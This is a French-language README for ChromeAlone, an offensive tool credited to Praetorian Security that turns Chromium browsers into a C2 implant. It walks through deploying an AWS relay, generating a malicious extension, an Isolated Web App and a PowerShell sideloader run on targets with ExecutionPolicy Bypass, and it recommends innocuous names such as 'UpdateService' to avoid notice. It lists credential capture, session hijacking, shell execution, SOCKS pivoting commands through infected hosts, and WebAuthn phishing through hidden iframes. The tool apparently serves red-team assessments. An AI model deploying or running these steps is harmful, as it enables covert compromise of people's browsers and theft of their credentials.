
Un outil pour transformer les navigateurs Chromium en un implant C2.

ChromeAlone est un implant navigateur qui peut être utilisé à la place des implants conventionnels comme Cobalt Strike ou Meterpreter. Ce dépôt fournit un processus de construction simple qui générera une console de gestion, déploiera l'infrastructure et créera un script sideloader PowerShell à exécuter sur les cibles.
Après l'installation, chaque implant ChromeAlone fournira des mécanismes pour :
Construisez d'abord le conteneur Docker : docker build -t chromealone .
Il existe actuellement deux modes de déploiement pris en charge. Notez que dans les deux cas, vous devez exécuter docker depuis le répertoire de base du dépôt git ChromeAlone.
Pour cela, vous aurez besoin d'un compte AWS configuré avec vos identifiants stockés dans ~/.aws/credentials. Assurez-vous que votre compte dispose des autorisations d'écriture complètes sur EC2 ainsi que des autorisations Route53. De plus, il est supposé que votre Route53 a été configuré avec au moins 1 zone d'hébergement contenant un domaine enregistré. Si ces conditions sont remplies, vous pouvez exécuter cette commande.
docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --domain=sendmea.click --appname=UpdateService --region=us-west-2
La valeur domain doit correspondre à un domaine sous le contrôle de votre configuration Route53. appname peut être la valeur que vous voulez, et sera utilisée pour nommer plusieurs clés de registre et dossiers sur le disque lors du déploiement. Il est recommandé d'utiliser un nom assez bénin comme UpdateService ou quelque chose d'aussi anodin.
Notez que region est optionnel, et prendra par défaut la valeur us-east-2 s'il n'est pas spécifié.
Cela déploiera le serveur relais BATTLEPLAN sur AWS et générera les artefacts suivants :
output/client - L'application web de contrôle pour gérer vos installations ChromeAlone.
output/sideloader.ps1 - Le script d'installation à exécuter sur les cibles pour infecter leur instance de navigateur locale. REMARQUE : il y aura également un fichier iwa-sideloader.ps1 pour charger UNIQUEMENT l'Isolated Web App, et
extension-sideloader.ps1 pour charger UNIQUEMENT l'extension de navigateur.
output/extension - L'extension de navigateur malveillante générée.
output/iwa - Le fichier bundle webapp signé de l'Isolated Web App malveillante générée.
output/relay-deployment - Les artefacts Terraform de votre déploiement AWS, y compris une clé SSH pour accéder directement à l'hôte.
Si vous avez déjà déployé une instance, output/relay-deployment/terraform.tfvars contiendra toutes les informations nécessaires pour générer de nouveaux scripts sideloader + extensions malveillantes. Vous pouvez pointer le fichier Docker de ChromeAlone vers le fichier tfvars et il ignorera l'étape de déploiement tout en conservant les métadonnées appropriées pour gérer les connexions.
Exécutez le script de construction docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --tfvars=/project/path/to/terraform.tfvars --appname=UpdateService et il générera un nouveau sideloader malveillant pour votre déploiement.
Prenez sideloader.ps1 et exécutez-le sur votre machine cible Windows 10 ou Windows 11 en lançant powershell.exe ExecutionPolicy Bypass -File .\path\to\sideloader.ps1. Notez que vous pouvez l'exécuter avec des options supplémentaires si vous souhaitez installer un hôte NativeMessaging (requis pour l'exécution de commandes shell) ou forcer le redémarrage de Chrome (nécessaire si vous voulez que votre extension s'exécute immédiatement après avoir exécuté ce script plutôt que d'attendre la prochaine fois que l'utilisateur ouvrira Chrome). Un exemple d'invocation avec ces deux options est powershell.exe -ExecutionPolicy Bypass .\sideloader.ps1 -InstallNativeMessagingHost $true -ForceRestart $true. Vous pouvez également modifier les valeurs par défaut en haut du script, de false à true, si vous souhaitez que ces options soient utilisées automatiquement.
Une exécution complète du script prendra environ 20 à 30 secondes.
Une fois ChromeAlone chargé, vous pouvez visualiser tous les hôtes connectés en ouvrant output/client/index.html. Cette application web sera préconfigurée pour se reconnecter à votre instance relais BATTLEPLAN déployée. Notez que par défaut, le relais est protégé par un pare-feu qui n'autorise l'accès de contrôle entrant que sur les ports 1080-1181 depuis l'IP qui a déployé le serveur. Si vous souhaitez modifier cela, vous devrez mettre à jour les paramètres réseau de l'instance EC2 pour inclure toutes les machines supplémentaires.
La plupart des commandes peuvent être exécutées depuis l'interface WebUI, notamment :
Quick Commands, qui nécessite de sélectionner un agent cible dans la section Execute Command)Captured Data)Execute Command)File Browser)Interactive Shell)La principale exception à cela est le proxy SOCKS. Chaque hôte infecté se voit attribuer un port SOCKS unique pour le serveur, visible dans la section Agent Information, où chaque agent possède un champ Port. Le port attribué, combiné aux identifiants admin stockés dans output/client/config.js, peut être utilisé pour configurer un proxy SOCKS spécifique à l'hôte.
Par exemple, disons que nous avons un agent dont le port est 1081, notre domaine est chrome.alone, notre nom d'utilisateur admin (c'est toujours le cas) et notre mot de passe est thisisnotarealpassword. Voici quelques exemples d'utilisation :
proxychains -q socks5 admin:[email protected]:1081 curl http://ifconfig.me
xfreerdp /cert:ignore /v:<target RDP host> /u:<target RDP username> /proxy:socks5://admin:[email protected]:1081
curl -x socks5h://chrome.alone:1081 -u "admin:thisisnotarealpassword" http://ifconfig.me
Le dépôt ChromeAlone est divisé en composants, dont beaucoup pourraient être utilisés individuellement dans le cadre d'une évaluation - mais qui, ensemble, représentent la chaîne d'outils complète de l'implant navigateur Chromium.
BATTLEPLAN - C'est le composant serveur de gestion de la chaîne d'outils. Il contient des scripts Terraform pour le déploiement dans un environnement AWS ainsi qu'un client HTML pour interagir avec le serveur après le déploiement.BLOWTORCH - Il s'agit d'une Isolated Web Application malveillante qui utilise les autorisations Direct Socket pour implémenter un proxy TCP SOCKS et un serveur websocket afin de permettre les communications entre les autres composants Chrome. Elle agit également comme pont de messagerie vers le serveur relais BATTLEPLAN.DOORKNOB - Il s'agit d'une série de scripts utilisés pour générer des sideloaders PowerShell pour les Isolated Web Apps et les extensions Chrome. Le script dans build.sh fournit un exemple de création d'un script d'installation PowerShell unique qui combine ces deux sideloaders individuels en un seul.HOTWHEELS - Il s'agit d'une extension Chrome malveillante qui implémente toutes ses capacités en Web Assembly. Elle fournit la grande majorité des fonctionnalités de ChromeAlone pour la capture d'identifiants, le détournement de session, l'exécution de commandes shell et la lecture du système de fichiers.PAINTBUCKET - Une série de scripts de contenu qui permettent le hameçonnage des requêtes WebAuthn en masquant des requêtes WebAuthn supplémentaires dans des iFrames d'onglets inactifs chaque fois qu'une requête WebAuthn normale est effectuée.Cet outil a été écrit par Mike Weber de Praetorian Security.
Ce travail est construit sur les épaules de nombreux autres outils de chercheurs et articles de blog qui ont contribué à ce domaine. Sans leur travail, ce projet n'existerait pas. Si vous cherchez à approfondir les mécanismes internes utilisés par ce projet, je vous suggère de lire les ressources suivantes :
ChromeAlone est sous licence Apache License, Version 2.0.
Copyright 2025 Praetorian Security, Inc
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.